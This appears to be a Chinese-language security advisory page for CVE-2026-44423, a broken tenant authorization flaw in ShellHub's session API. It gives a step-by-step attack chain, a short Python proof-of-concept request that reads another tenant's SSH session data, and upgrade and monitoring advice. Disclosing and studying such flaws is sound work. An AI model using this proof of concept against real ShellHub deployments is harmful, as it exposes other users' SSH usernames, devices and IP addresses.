IPBUF安全漏洞报告
English
CVE-2026-44423 CVSS 6.5 中危

CVE-2026-44423 ShellHub越权读取会话漏洞

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2026-44423
漏洞类型
越权读取
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
ShellHub

相关标签

越权读取信息泄露ShellHubIDOR权限绕过

漏洞概述

ShellHub是一个集中式SSH网关。在0.24.2版本之前,系统存在越权访问漏洞。经过身份认证的用户可以通过GET /api/sessions/:uid接口获取其他租户的完整会话对象,而无需验证调用者的租户权限。攻击者可利用此漏洞读取任意命名空间的SSH会话记录,包括SSH用户名、设备UID、远程IP地址、终端类型及时间戳等敏感信息,造成严重的信息泄露。

技术细节

该漏洞属于典型的失效的对象级别授权(IDOR/BOLA)漏洞。在受影响的ShellHub版本中,API端点`GET /api/sessions/:uid`用于获取特定会话的详细信息。虽然系统要求用户进行身份认证(如通过JWT令牌),但在处理请求时,后端未正确校验当前请求用户的身份是否与目标会话所属的租户或命名空间相匹配。攻击者只需拥有一个普通账号,即可通过构造HTTP请求,遍历或猜测会话UID,从而绕过租户隔离机制,成功获取其他租户用户的敏感会话数据。这反映了系统在多租户数据访问控制层面的逻辑缺陷,破坏了不同租户间的数据隔离性。

攻击链分析

STEP 1
1. 获取凭证
攻击者在ShellHub平台上注册一个普通账号或获取一个低权限用户的身份认证令牌(Token)。
STEP 2
2. 探测接口
攻击者分析API接口,发现`/api/sessions/:uid`端点用于获取会话详情。
STEP 3
3. 构造攻击请求
攻击者使用自己的Token,但在请求中替换目标会话的UID(属于其他租户),向服务器发送GET请求。
STEP 4
4. 获取敏感数据
由于后端缺少租户权限校验,服务器返回了目标会话的完整信息(包括SSH用户名、IP等),攻击者成功获取敏感数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL of the vulnerable ShellHub instance target_url = "https://<shellhub-domain>/api/sessions/<victim_session_uid>" # Headers with a valid authentication token from a low-privileged user headers = { "Authorization": "Bearer <attacker_valid_token>", "Content-Type": "application/json" } # Send the GET request to access another tenant's session # The application fails to check if the attacker's tenant owns this session_uid response = requests.get(target_url, headers=headers) if response.status_code == 200: data = response.json() print("[+] Exploit successful!") print(f"SSH Username: {data.get('username')}") print(f"Device UID: {data.get('device_uid')}") print(f"Remote IP: {data.get('remote_ip')}") else: print(f"[-] Request failed with status code: {response.status_code}")

影响范围

ShellHub < 0.24.2

防御指南

临时缓解措施
建议立即升级到官方修复版本0.24.2。如果暂时无法升级,应严格限制对ShellHub管理后台的访问来源IP,并密切监控日志中是否存在针对`/api/sessions/`接口的异常访问请求,特别是跨租户的数据访问行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表